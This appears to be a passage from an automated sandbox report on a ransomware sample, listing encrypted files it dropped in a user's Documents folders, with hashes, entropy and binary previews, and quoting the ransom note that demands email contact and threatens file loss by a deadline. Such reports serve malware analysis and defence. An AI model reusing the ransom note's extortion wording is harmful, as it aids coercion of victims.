Size (bytes):	1282
Entropy (8bit):	7.820475939812147
Encrypted:	false
SSDEEP:	24:W6la9bdu1Wm4D49Sg74tHD/AKKneRqgPPWSsV+4MERimKQerKzb9LBBp1KFG9JAe:tla95kl4DmBY7A6RqgPP5qMENKQ0KzbL
MD5:	2916EB88A979F38A847CFAD717451714
SHA1:	9E67ABEBBDE6CBDB369415CF8090730D7DDF6BC8
SHA-256:	6F567ED6182C0CCCBF7CF1935EA1928AE196A1D4C4478D7480E125165F834E7C
SHA-512:	DAF3137681175775088DD613A52C137F839277B48B60280ECED9E24739B9926545CC2C3C32A9250F2B78D20EF79B4462FAC8982D5F6BA50E9174523024B16850
Malicious:	false
Preview:	h..a..c.....'j.va.Y~-......1.o.....U.,a..X.4.......7_V'...'p~...w%...C8,@....X.F].5....,...L}.../^[.?.:bl........."......% .....'.2..3..U.VGfi.r@HK...'iAWV...-..nwmF..2z]...k.>?........-&...)......h.V.{.)q..r.r.....nv.7.n.?K.&.Jk.7...4za..C9#....%.k...R(.T.bW{}...S!....dk8...J..zv....~...d...F.......O.&j.A.Gj..>?..5..X{.....d+/...R=r.8..m...B...xl.......o..p..0....T...f06........M..Q..1......Y.s..p......0.3..E7?..L.7o.1.0e.1..\|.!v...P..7.p....p...O.M.Gy.@...D.?I~].V..4.t...q8P..(.l.....q.+...?,....[r..G....%g4,6/e...m;.yYdQAJ..a...x........X......D.,......b...x.&..8.z..~.....lYX......Les..b"..}^....Jne.-,F.W........;..+Hz...P.R...*...e..Q...'....p.yH.iYn.B.........1I...oV..j.......\|cq..A......iO5.1.M%.......I.b.._.zR...1.J......1....;j.\|..{=.(.b..d...iNr.n.U..:.I.?..w./J~..o..SN@..>.C...........n..f.15te.e.ha..DC..eA.....t...V1ny..O...w..x.....+...5..I.q...,..\.H-...K.G.#CvC................7.6X3.....&E.!.^...sq.W.ri.0......

C:\Users\user\Documents\GRXZDKKVDB\EOWRVPQCCS.pdf Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.852475757430154
Encrypted:	false
SSDEEP:	24:qcOIHStchSpTJSqOpu34MpVrCEJvHxIon6H8bDCt0zwR1np1IHNxUKZhCCxYO:qcWu4c9pu37JVfjz6j1ItiKZ0CxD
MD5:	B80C5F04B4A41922856B1229F1242165
SHA1:	CA436A7AEC0E40E68D4B258F97247FEF34800E05
SHA-256:	89A2DD866D9BD80F80364CC10BE565495128EECBC4EE24DB8995537244D25C0B
SHA-512:	043AB47346100C89FEC7D86F6D33BB706387A5138B3C0331CA3CF246B345BF008957472F14B79C2DEBCAAD6504ECD0CFCDDC9FC5B0253A8F6A557AFBD33A6BAE
Malicious:	false
Preview:	...2..r.:W.......r...........I..?h~.4...G....<..f&._....H.`..+.WF..m......;......DV...p.D^..K..8..z."tk.....q....k.a.[a...J.A..>a%..&.o....7....i....k6a...$...\|..#..=.Y..Y;C.).(.I.1.1.....6V..Rv.v.......?.i.NM.W:Z.......wYf7[....C.....?. ..F.x..g...`w....w..u.$ihC..-...9..@VS......3....=.=...bo6...#.O.6_a0.o..CUI...m.]h.....6...uHU.......f..kzW0.....1G..a.....>g-....3.....g.b.W/B.Fy&KC.?e%w...#qs.Jy.h...Q.j>A..89..W.<.G-E ..n)..3.wz.x.B....i....l.4b.4"d....:\[W...\..`.1...aG.....nD.....}......c.R?'.HP./R..c.o......e~..T.&..w<m...\../8..Yr..,[*d:.1.......:..nz....7.e...a)g.:_.\i>......t.ny...@..=^yf6\.8.&bi..R#{..H.^nz.(....].`-...l..._."..M...mP...j.....k..>z4..G..n=.X.Jf.S........Q.....d._....7.C....l..a..........C0A......6.>5h... .dw.V....\.....w.....s.......r..1w... ..=$...iS.YP:+f.l..j.~.50g..d.4......J\...L.Zf.....Q5...]dc.{....>.\..wa.;>..k-..5...3&..N...\|/...a...9.....j.\.....1+.Y.l.\|.I........@W.... .1.?..<2.X.....[.

C:\Users\user\Documents\GRXZDKKVDB\GIGIYTFFYT.png Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.837792090862609
Encrypted:	false
SSDEEP:	24:jh+rEbaCapezj33zk/VwIiwRnaCpQ+i4ssZYec5PznSuectyVQQ97Fl:lGEbXapYOVwVknaCpQvsuSEtyd
MD5:	78D8A07B5CD0E8563F80B1608C4F0133
SHA1:	EE4DC7660180E6A29CAE54512FE931C0512833BC
SHA-256:	3CD0E4F1B8A4911A1F1BF0B6AE870ED61D6CD0845FF2203212C5B7740A47CCFA
SHA-512:	E3237448F58D61F45D87F2B82C3C33122E9BDD995E07C2A1E19074117F0D8CF9AE70309D1EC43CA7FE677CE15803AEB833B570407B3944F248D8356C9C0CB6AD
Malicious:	false
Preview:	....e..Y.d..4...B...[=..y.Q....../..R.'...i....(m7N....8T\.r...`.%..ZO...>....!.N{..0Y.R}7.@vy....z..t..t=.=B...kC...).%($.1...........x.md'.qZ....(z...S..../..k..RA....+..)n.q...St..3{..,...WT..LL).]..3Ts.....T.\|...L..d..>3..E3.......27.8...P.7..+...D..U.[.....~."....t..?.R..E+....pS.. .^...}..6.....\..@..........-...E.di.....)x;.K......v.;.C...7..s...\|.R.....K[$......}.~.N....W.Q...<..1....4../.!....}^k}........[.......}?..HR.oG..:>.....[ElM#..E.(>`.pp4.......!...?[.79%r..7\..\$...s......._}.o..Wp.^.+..?g....UL..V^....;i....^.......M.A.....u.O..b.f...5('.e.._....._>....Yp<..j.....rU...A...._........x.......E.....;..M'..iC..j.SO.0D...J....?KvL.%S...T...=1.v..\.....[\|l..L..;+.U...#......R.\|.Z.g. .?~.1X.=.5..A.....F.K&3x...0Y`Ez..?~l..ww.P....dt.r....7.>'.'....s..cI.N*..z?;......j..au..^M..P. BwO..;..0.3..?`T...J.te.i._..@`.m.P`.uxq...x.....%...I.aI..F.p....B.>.+b..d).u)',.dN..A..../...3...4D..?O...........F.?....0....Z

C:\Users\user\Documents\GRXZDKKVDB\GRXZDKKVDB.docx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.813075861843889
Encrypted:	false
SSDEEP:	24:iCBKYBlUMcRnNhwC6tPN2oAXjpFRvJ0VYVSOI1FImVFVUGNeRJP1050LK70d:/QDRNSC6two6jrRh0VVOYIOPZNG1Gfwd
MD5:	7C7C9615FD20237682235F750F2A0F0C
SHA1:	3E2D615D98BA4DEA5CB14050323702AA4ED331F6
SHA-256:	9C8B2A648B52557DC8F2E4944B83382DD8B4E24918F09573D795A3033E7A4281
SHA-512:	047BB2B1B34DD5C0F80D6044E32C72D02DB4437ACC623927AF4F1FE3943C275B14DD885BFD5C0FD2038436A406D3919989E7772A1264EA13479FAF1142894C1D
Malicious:	false
Preview:	....GV;L...j......z....G.j..<.r.#Z..~=.q......3....._]....t;.x..S.."U{....7...3..{[a.[.1.0...0}g...H..}.../e}.8..]./.ly..e.....\.t.)B.....xP,c=....l_..#.q....s..Y..F...n.;..`.........%....6.y2'f0a./..0.$..H.TK..W,&..\....cp.>.NL.'.-./G?.._..C.!.X!...Z......}..:<........Gge{$....6XI.s....\t-...x.u....X. X.}...D.?!......W_r..EI0;...\........NP\|.g_S...g'[D.....p'..$4DQ..k\|......+S...a.........i....I..O......>1..o;..%....(K.........7.{.X......VD...C.w.;.l.i..<WE.9.e.}...y..=X.p....r..._......D.T.-L!;....-.$..o.p...q2..iu?.....j....u3s;.<u.vH..j.=.L...\..K....L...=...^.=....1z\.''k.Z.{.<...w...&S.@0.t...M......L-,..>W.3i.v....G.H.v../.'..<..;.......S.....On}.....9.H0.......{.M....G...wR<...0.@.......f.p.q-....?[..N.{.x..st..BA..,.\wh...W...1.{...(......_....<0.....BrN.{[Eh!./.<U...h.1...v.t.`5....i...~,...Z.Sk.I..n..........P.....bi.'..aJ*.LP...H....TlG...#z.o$..C...;.T.T.......W.Z.-...-..d.../h..,.`....kH-3.....a<0.7.H.[...D.pP.[.c....3 <..- ..

C:\Users\user\Documents\GRXZDKKVDB\PALRGUCVEH.xlsx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.858592988637558
Encrypted:	false
SSDEEP:	24:lqU4efUXW0JUM1ESI5YRJRRAWfOz5C8+Stm8phSLCgPqE42jUm:lq6fUm0e4ESI5YPR1WIStm8pfgR1
MD5:	BBCD5457E2BB9C9E15C9327A5649BE38
SHA1:	8E5C67769409C2309A5BA419AA2A9454A410530E
SHA-256:	AF0786CD402E1E38DC9EB5CE8A5C9F5EB4D31805E1EDEEBB2B935D04E60D0448
SHA-512:	04DCB61C4B9FD6D27ED007D97FFA0B390A3860127B3D0ABCB7D5D90F935AAA65C6676B3C518E5AFC8CC09C6CE74A7D94661171183683EFD28115EEF4851F793F
Malicious:	false
Preview:	...^........b......x..T.....A'F#<}Du...9...w....E..#....v.Sv...&ej!... .Z.a2..e..0....Eb%..x....$..6.3.C.?.L.zp....[..$R.~-..n.........+.\|.....`...sP..P.....Wi..P...;. ;.Z:.Q..AD...].#-5z0k[.W>..IC....s..Dy..<..N&..F%..#\........%chJ.........+.w........h;..-\8.4Q..l...E.w.{..e.<...O.;Hh._..n.w}.?..a..gE......)[8b<........yKU3.._.>.L..$K.5./7.)M\Z.....uV}.y.?...n.(...BA...J...KX.3...U....or..Q..#...].$........F........._cc...WH......x..5..L}d....`N..u.k:.7_.. .hw .W..,1H...iZ.<.v=1,. .B..C._z.8.T.{...Y.F6uU......a\|.I.!.#N...Op.p..c...e.+T......r&..@e...rt..E.../2.KU...c;...e.6Z.[.....z.'....\|...~h...J(...^D.......dU5.....U"A.j....%..9Y..q:..i..]j..6..Ds.p6.......4moZ.\|-N....o.f..y.g.......w..........\.WP.~..L.J...(G.@....6(...q................B..2.5-.:M..Z..t..6.....>4.'Z....w..i...o.....U..:..n.bX...u.Q...s8c..:Z<.....#..F.S.7....&/.....5Tm..uk.C....i.uT\|[#.{......G.j-.IO.u.l.{.U:.n.......G&og..t.U..<..4...NbciVN.A..${.....d...2.. x.r.

C:\Users\user\Documents\GRXZDKKVDB\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Users\user\Documents\GRXZDKKVDB\TQDFJHPUIU.mp3 Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.856139892372925
Encrypted:	false
SSDEEP:	24:9400nOIkSYKZZQfMm6t9mTbzwN5G3Y8QvPyWfiR27dIL1Q7XO5GuA2SeTpqwl2Gm:S00n1UMmbsNpPyWKgpIxQ7XOW2SweGm
MD5:	2DD143EC4953073762512E809E54F2F4
SHA1:	A0BB29683297A91FE93672BADB75FA515F488BE2
SHA-256:	1F1F417D99FF017C7FB26016432A85D205449AED5CD9482C9EDD1DF520C43DEA
SHA-512:	1E3FCA9B7148D1436D541C4440E111CC9AA46472B4B4F8FCACF008D157F5540269AC41BE171A4FA355212AD9390D07006C991836738EBF570DB871D0ED3F9430
Malicious:	false
Preview:	hShlpHBM...2.>xt..]'..>..).svW ..B...1....ti]\x..._2+i.lMl..${D....q~]..zb.F?....Z.O.5V..'.7.k..h...QL..f..i..y......VEl.zm...ad......e}["....t...s...p.2k..G.......h..-......y......U...J.4.\|.Gl....HfxbB.^h=p..(..NL_.....O.."..:0.~./.9.)..\|..3s....;....s...K.M.\..en..v.....IY`.h.z.......iP.....p.X..x.C..A5..s.`b.'].4.._.........b.'0.e.X."<...-....p.R...a..hZToo...Y.H.a<C.TE).p......e.`.y......J.~t....&:..:.W.Y.D.G....v..#.........D,...D(...v&.D&.4....cS.......\|?%B.Rfy..u<...m4.n.C.7KA..'5.8A...(.\...z_.e.0w...+....L..,w<6.?...=..3V.<..Z.6..D.]6;..d..gM@...1.e..:.<gv1.3.w.e_.....\.{.C.J.6.XPt....R.mH..kLP../...(..p...,.(E\|......3.^.^3s<..4N.f..Y..(m..Hm..j..v.9.......e.]U^X/.Cw.Nm.y.E..V.}bK.5.!.}.F6..$H..5.Z....7aTpF..,....^....D8/p.q...X5...F...aJ..x..}.&...2>...w....].....k-Y.D`By.....z.......ib.....5.._.@..s" .F..JnU4.6...Wwt."....H\....j....T.Vc/.e....l.r.....z.$....ex'.....]..R-_y.....>..r}c.<.l8K...p.q..,.O....!`]2...hT.B......_D7rR.

C:\Users\user\Documents\NYMMPCEIMA.png Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.845099032511814
Encrypted:	false
SSDEEP:	24:lvPS6pWEfbz7i8ljCgC6rVGAnaq0pnN9LuK3pipO/xvGFb+FCxx9HT:N61Ee8/pzUC6rJ8bqCdHT
MD5:	FE0C7D3F26B56461E26A09FC6D3DD24F
SHA1:	F47FB7764B7A8B778DA878BB222550DD81359724
SHA-256:	0CF921111E98FDD6DC3A3D80C961785C8C3A0BC662B72AE703F23AE26C404A32
SHA-512:	2E157F310DC025BDC9F53AD7E01656F7BD528CF4BBAF9F09FB27F3696B2B78A47ADC8B33F4E0E686C377C57A2E6D83F602781654CBABBC2F8780C8F1A8B09C12
Malicious:	false
Preview:	?....A..IZg7...1\|...o.:+..&..%xk......C..3......8W.r./.rF.P.2..M.}vg..\g.o....x......KZFm.....c.....v._.BU..{xF.P...../....[.Xc...j.s!.2h?.I.F..).<..0...F..7...... ?R.j......".m7R..k...<.U.......vo..V.>%z.[o.Up'....G.....Ug.......wex.9..~Y.Fv.n..#.r.......l.n...y_6....]....n......Pu....&ecM...{L...<..~.3......N.W.F.....j.z..7qZ.u...B..s(.t..~.]c.351+..n..2./...0E.U .f1U....r..,.g..@....E.A{.6...z.. ..F.b#0eTd.n.G...r.....1.^.\%i.a.7../.=...SC.H@"}:.V.b...[....c' \;......&L......j^<....Y8fTu.a.....;g.....C'........0..~J].X.].pJ.U.....^Sve.O....W'S..vR......k.S..1..7n.L4.Y..V..z.^C'......6.....)Rp/R./.F.B.q..~.e.t.hp:....yC.!Nx...o.@.......R....y>.....T.k....=......^.. ....B.#.9..nJT./..s.[.[.he%...L.t./;..x....n ......%.U.vI.N....KF-c.4..q.^^-..L\Kv\.!.....KFh.p..jU..E>.^2...~.*...}.)......}..$b.RH$j..r.?......~...e..H.......;.5...>........8.>....`.9..PL..`.&...hy.p$.H.&...y.C.M.vg...V.I..........Uu.=...5S.%1...Tl.....%.$S....O.\|F\|.bm.GN...

C:\Users\user\Documents\PALRGUCVEH.docx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.856392585386674
Encrypted:	false
SSDEEP:	24:Iehy/WMUWGKoXnsZeoT9CW0wgGhffqcnViccOOM1MEGCUxFYBeBaY9XizD:IeUFjZ3jFf1nprXyQYUD
MD5:	5DC1ED8701CA73C6B23F4F23AC87B77C
SHA1:	B6A5F55ECE162D7FA04CF4E237B0BE86E82AA7C8
SHA-256:	ADA6F606690DC42532BC50165242F60233202B14904F6380845E77217F08E220
SHA-512:	8959D8C0B5CE0B2CB512FD6F651220794DB64744F2B19982BA3E1E0E7E7499181A2B9DF7460B6F1D7FEFDFB69F1478B8E30D6A3A5128DE8BCEF9073FF0E9950B
Malicious:	false
Preview:	..l............qw.....fU\.=.%E.......]..@.{....D.....)..O5^b.....n.iE....7...f.......<..9c~..Ia.@\.z..X.=>.SA.q.....v.>.e`.n.x....O.)4GZ.._....R.;.P....;A\U....D...c!6....a..E......s`.hd......o.<.ii..+.<.f?.j...Z>y...6.<L..8>..(a.m0?{.z[T<....v.$7Z... ..H.n..#..&o..@.[.jH....z.$.:^.4....IF...4/w.7&rR...^....@/..c..9.....9V.j..z.:.......o......4.j..q],vtp....r..n.!.&.~.ZP!..6..Lj..ph...d..=?q.-Y..YJfE.pO.uC.\|.....O\..5/.K..N._.s..D...tr....`.....y...U..]<II..-...yp{}&.\|/...p.t5.).....o...Y..,..k...s.....X..-1..lYr-.rC+P0X.R.S.....\q l.S{....V..."......C.....L8.E....o.....nT.....0..W]........./[.Haz.e........9.&(.._...B.......a.........'=...g4.jX.S.Sc..7\|/..H..B.;k.]/- 3..t..L!.....G..)M..I[O:%:%..}....."r.c.&7....M........"C.G.N.r....#.....p%8..=. .&.+.%.2.d....)....u.2........."M65@0p.5w....R5.VQv..O<en...].ZM...i.....j....., .....#...../.."...%:...D.."ja1.=.nb....Rn.u....5..FI...h'..e..>EJ.[?.....-....5sQi..Q.1.k.pk.....>u...B,.!

C:\Users\user\Documents\PALRGUCVEH.jpg Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.854437102185178
Encrypted:	false
SSDEEP:	24:s78rqhsDHxI4jKSCXKq4zBCbA3tCKlF4gVld58wqgVZmaJ5WZv6Mn9i3DISekYe9:s76qaDGGKSCXKBzBCUQqdBqgeaCZvR4r
MD5:	2B6526F5326223AA93DD773FF0DBBA71
SHA1:	5A1F2709ADD4D9C804D2C4CFCCAFAD2F5FD4B26C
SHA-256:	994872A281E965C2372D566995C8BAF849C65ED042053DD7F3EE65F851888FA2
SHA-512:	6720527CA87F27730D21757A6CFE968C8764234EFF0F16F440E91DB36FD911388CAA9CECD78A3FF457C782627057F5BDC19B93B02604DF3D4AEEA1047368348E
Malicious:	false
Preview:	...r^..{...7..."..!.g.g.z.(.6.....)..EZ9.>.d..9$w.Q..5.....~KD.].w....+P....C.S.........l.....L...y)...].."[....)..xp.'P.{..g.;o..:.hA.p.P%...P.'2...P...VW...1...)...../.:k)^..5.p.:...gu.V.r^U...\...y<.....'.F...._..1...x....-..u&C........CK..9.z....wk.j..]..P.&YhO7.j^.e..%.G..W. .sq)w....J.......BL.~..Q....+k.iw3....<n._..k:R.d.j...Y..2../...!gq...j..j..;kM.\|....<....~md1.e..f.I...m...".X....=q.b..z...#[.....k.d.....9..0%..H.Y=.r.......s'...1g.?jU@{rGj...8....c(s....f..&X.....W...RN.>..2.2X:.vZ...W.S...^..."9.yb.y...a3.=7b]^B..Kr.......X..?y.s..p.-%.....u...p]n.._D;.5.......n.$X.9B.4......sx,......".,g.a.Z9..9&G......bU:..5.+./..-.n....P....tB}...TC`e8...C.t..3.c.9.t2.G.l.K...'.....E.u.....,=......N..`.9.YE..3.pd.V..3Z.4...F....&R...K._.;hl$x.&.4.6.E.....4...*..<....9.e.....$?..3..n"$.._........i?.X....d..."Ki..._....L...ysA[..GF...]Tp.-.;0.V.....x]+.\|z....i.2D.0...3..7...G8..O...z.....@.]s..qDZC.Wr....T...V..KR...V..(Y]^@R8........g

C:\Users\user\Documents\PALRGUCVEH.xlsx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.866507511460631
Encrypted:	false
SSDEEP:	24:eqCNY8Iw909oFhQCqvbbxrNhj6VPNwwL0qUCA7wf6Ro1H7vvAhtyuufLdZ9UqjHk:ej5yGqCkrvePSwLTUClfko1H7vyy1xQn
MD5:	D90A0EE7B16C9A2C78720DDF5B81F897
SHA1:	931AA4A5CD9B19B81E5ABE4721ABDF05BBA10EAC
SHA-256:	B837B1C7B13D33441BF6AC6A2CB4E65DAB7C81CEEFA28F0C7BA28D7855257DF2
SHA-512:	15DEE2E20AFA9C9EC998DA2EA32DF638B40959F24609F51B613CCC93E742E8AB4C5C96FC8315CD1CC4DAEB0955E179E739C5F0C7EAF28439975607CF726D8D98
Malicious:	false
Preview:	yc..#6G........r........\|e...b.!......m...;.."..../o..i}..%.'.F..=...E..,.GqW)Z..u\l...>>..yc.s!.r....L.voN;...I../{M.{S+z.D.....u/..Ph.....W.!.A...GWb..E.w.^......$A...pFd.O.C.&Q...F.....w5?..O..h.@6u..<...........2..x.J..............t...>9.../...$'~.B..Z&..y7....7@.{2C.~.... ...I&`./.K....)..E..A.W.....7.W....,....N7.!.....%.gX.D.7{ Or.......R...X..a.@.....A.i(5..J..U....J.57.d.X>..l...%Q..y.p..?q.S......X..'....8....E...a..)gC.wR..t.D..e..%.;,./..`..%..$......j.X..j-.....k.K...Sd..4.].6.Z..I.Ko..W.rk. .n...y..<s..1.bP.....1.W....OD.Pu..9m.xPy..[....z...YG!..!-.hG..1$<...\.)..+............>M....l...b....T8..Z...,.........h.!k<t.!.+..3D..}R.a6..C..F...q{t..6$.eB..Oc........~....Q.../h.l....p...a.Wc...o8..5.V...G......4.#1..mhW......Lp.8W.81.`..g...T.J..A&L\..-.....e..z.%3ZLg_..0..j.......>...{8.~..&8C.). ....e...]i/=S...q....G\|7.%"B.p.V.fE.wMJ."#........81....&...'K..4j.H=..!....q..d..Z9.U..\*..c.L.c.+...%...}itAI.>VU.......0.....B@..

C:\Users\user\Documents\PALRGUCVEH\AQRFEVRTGL.mp3 Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.857520500016783
Encrypted:	false
SSDEEP:	24:i5vXcQDIo6PktfvHT9ytdCW5Q8ZhqEUNjjA4OlqZ9V8Jn4+m9SjcPU2mRv:i5vtDXsk5aCr8Zhz54OoMJn4+mkjcM2c
MD5:	BFADDCD2EDBB94265F7BD01EF2BA6F40
SHA1:	1917692524F1CE82A9C20931B04246A4C658E6FF
SHA-256:	F8A7BB8DACAE28B564C7B4083C19681610393898E1610D13B4A423E268AFAF5F
SHA-512:	7FBE62088B638C6517DA711A9684024AA57F2A54FEF1D291C8D0F3BA754002AD7B9D8A6A7BAC72FD7CF63094DC31656603A0DA0B8B46BF05FF1DCCAFCD91311B
Malicious:	false
Preview:	..`......R......p..E....zz..?,,..._1.z.....5.-6.a...X....g.UA`d.He...x,..../j..=...qm.m....5.U.......fvdi'i..BVL....e./V9.".S..Q.-.I.G.9...+.t...o..!......>..\|..._.R}....H.......[.Ug....,C.-(....OC.....F..)3..Y......"..VZ...c.."...w0j.....a..o.d.q.@+&+..N..h&......!.9@..$_...0.c.>..G...o'jF.l.A_.}..E...5.#..i.2MrQ...'0.._..Q..8.F.}...r.,l...QN.[[...eG.4....i..';...J%.J..\|..@D!...M4.._h..............>V.}...1... .....d.s.i.%..X..=.}......q..:Xu..Q..b..U....!...(..TU.7.C..v...].p..&.K.Q.....I..r..O\|ZP...........I.......B..S^...{/dr.....)..\t...I....'3.v.H...X...g{...Ym}..i.........s...#.Y......y..O.5..0.....=._."".....3l.;V..nG........W.......[...Z....jQC.mv.)l..8j.....6.........3$3:.{..\... .iJ.&.L.\........6..AQ.9...Z...E...3..h..d.-...A..e.t%.O,....&..8..J.A.v.%+.....[.._....3....Au.KI?.....k.....;.{g.e..J.m.....H.~C...P..[a.%.N-...p6.z.q...>......A._..0X..J.......~m..d#i..U.9...c@Q.5..9cJ.y.....k[LN........G.)...W..2....u...

C:\Users\user\Documents\PALRGUCVEH\EIVQSAOTAQ.xlsx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.854785898383414
Encrypted:	false
SSDEEP:	24:ehta+spmU4xM2L64P7tu2zl0hy9g6JOK2Xv+UMJkiXrhTqw:QtDspsXL3P7PO6YK2XukED
MD5:	59E2CD699A25EDE7E8B1DBD8FCE00741
SHA1:	56824C688A23E1F37590B0934D45EFCFBC5B7253
SHA-256:	4C0DC4284BFC68B808C0C4BDA1C070FAB8931FA67D4CBECDD8444EE28A68F391
SHA-512:	19F8C4FA87CF17481A051BB75617BA0D51266E6C24B54D6C45345B34FEC91D602AD26FC31DBC35F88672656859EA3144BB41D85FF7057EECE922E30DEF586ADC
Malicious:	false
Preview:	^qq..J.7....u..,..&.I....W......i..N..7.~p..UW.>9V..M...g.\|.....V...>b:w.+@.^.{.K.Y..Lj<d....k%.y....5X.W.H-.....l.....$1.i.p..KH.H......k...u...y#..8..W...y@..0...6.m.y[..._.Jn%Ly.J......H..p...B.(.+...c.f..yD.,}J............tY1.r ....y..!1VW$c...7.$`....1....Nq...eW0.!.B...L.h..R..j...}o5'....-.CD..&...80....SW...;..C...{.'~....Uc.%...v..BF...5D........MD.h.jh.....mTdI....>..'.J..r...8.:b.E{8std.y.wfF..z...D .]'.K.zS...t.F...d"j..E.^.......W...+....n..h.U.;."p..T..Y.".kZ..j..&v<h..D.#.G.r.fL/G.....Hr.R..aY\.E.={..-.........7Q..\|y...m.\.....\?V.8.........^d..)..m.(.vN...VU.5w..&.:...`..<. .u...._?M.Xn..iw.....+.@....b)......l..O..}....b9.{......I..<...#.....m./V..]1>.'s...e.M...d.....6.E:lc.Nx.R..(..V......K.d.^..,.oC...=......Y>........_]..yYG:?.O.....Gm...>mT.g....o....Y.7.V.R..OB.......r.....\|SO..(.....>.4.X.w.9\...,T..,.IcY..Mj6a..E.."....3k..<U.E...>.M.\.]c\.f+T.~....U)......z.e..R..:....~t...[.G.J}.Au(.\|a.~.M.\.X..{...kY.W...%..)

C:\Users\user\Documents\PALRGUCVEH\PALRGUCVEH.docx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.842658355186579
Encrypted:	false
SSDEEP:	24:Tfonu+gtgLA0Hv4wFa1GIwzKOayqfp3SlizPgspUYskYxQYzHqwpHv2:LEuByAVk4wVZqfhSj2WkbYrqIv2
MD5:	133B790E273D4A2CD2514491A7A391B4
SHA1:	6A1976D899EBF1692DD7154CA341F4DE322A96F1
SHA-256:	86BE3D2622177D4971DF45CE2F7421108C456349BE028BB3D5683B74E23FA2EF
SHA-512:	AC508EB20F33A210D560A7FB666959AA0E90C2B5C2E93AF865BA112D28068125DDF7A627CDEB6EEBB16BC4F4D28B51F3340C2990B02EE372A85F180FE2D73356
Malicious:	false
Preview:	..c...v.........G...Wd.d.K...W.an,...p.T..\..j_.3.?.(.....WC.b3.R%..7.......o.7..>..x.Gr)..E....X].....v.~n.....#.P.z...d..\........?.~.M.&...@...Y.H.......v.(...4....O,\|.iz...W...S...p.".$....Rk.j...`.o06......u5.....48.[.BX9D.i.#...4.w....J..[.s..'`.N..............M..Z.:w`.h\|.d..ZN...;wO..."rT..U'.q..\.0..S$./.E....w7.>.u.......o....#&...uw...^....#-...$o.r.xdO.Hrb1i......O.../.Y..j'..W.@/.z....x.,l.....UI.....J...4...<..^...F..F.M.zt..O....X..".......U.%...........1./L..(..n..].d..\|.Am..M..D....q..a.+..M\|8.(@..\8.....h{%.$..._l...-.;.........."...[.0.>.....h](...h...#.....d.0t....CG.D..Q.Ho.{.....\|...'J~.9...~...sDqi!..`j..Rq.N"..-...Q._.4Lu.T..m}$tjl..T.n. ..!F=..d.r\..q..O.%.RZH?._.b/..4....N.aF.E.0...z.B.......t8b.6..PU..........N:.j......w.....d..Cm.....P....?........Q.X...b..j......`l_...X.eO.86...Va...O..Q...`d...r$Tk.~.k..w.[!.*5.._....R.u...S.- 6..FN.p...mj....S....b......H.q~i.q....~...,.$h....6.@3..y.b....;..&.TE.;x..6......

C:\Users\user\Documents\PALRGUCVEH\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
